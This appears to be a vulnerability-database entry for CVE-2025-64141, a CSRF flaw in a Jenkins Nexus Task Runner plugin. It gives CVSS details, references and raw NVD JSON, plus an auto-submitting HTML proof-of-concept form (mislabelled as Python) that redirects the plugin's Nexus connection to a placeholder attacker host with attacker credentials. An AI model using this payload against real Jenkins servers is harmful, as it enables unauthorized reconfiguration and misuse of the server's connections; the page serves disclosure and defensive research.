CVE-2025-64141

Description

A cross-site request forgery (CSRF) vulnerability in Jenkins Nexus Task Runner Plugin 0.9.2 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:nexus_task_runner:*:*:*:*:*:jenkins:*:* - VULNERABLE

Jenkins Nexus Task Runner Plugin <= 0.9.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-64141 -->
<!-- Jenkins Nexus Task Runner Plugin <= 0.9.2 -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - Jenkins Nexus Task Runner</title>
</head>
<body>
    <h1>Jenkins Nexus Task Runner CSRF Attack</h1>
    <p>This PoC demonstrates the CSRF vulnerability in Jenkins Nexus Task Runner Plugin.</p>
    
    <form id="csrfForm" action="http://target-jenkins:8080/plugin/nexus-task-runner/configure" method="POST" enctype="application/x-www-form-urlencoded">
        <!-- Jenkins CSRF Crumb field (if not validated) -->
        <input type="hidden" name="Jenkins-Crumb" value="attacker-controlled-or-empty">
        
        <!-- Malicious Nexus connection configuration -->
        <input type="hidden" name="nexusUrl" value="http://attacker-controlled-server.com">
        <input type="hidden" name="nexusUsername" value="attacker">
        <input type="hidden" name="nexusPassword" value="malicious-password">
        <input type="hidden" name="apply" value="Save">
    </form>
    
    <script>
        // Auto-submit form when page loads
        document.getElementById('csrfForm').submit();
        console.log('CSRF request sent');
    </script>
    
    <p>If successful, the Jenkins server will connect to the attacker-controlled URL.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64141
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64141
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64141/
[4] VulDB https://vuldb.com/cve/CVE-2025-64141
[5] https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3550
[6] http://www.openwall.com/lists/oss-security/2025/10/29/2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64141", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:58.690", "lastModified": "2025-11-04T22:16:40.707", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site request forgery (CSRF) vulnerability in Jenkins Nexus Task Runner Plugin 0.9.2 and earlier allows attackers to connect to an attacker-specified URL using attacker-specified credentials."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:nexus_task_runner:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "0.9.2", "matchCriteriaId": "EF9BAB0C-78DC-434E-879B-95FABADA874B"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3550", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}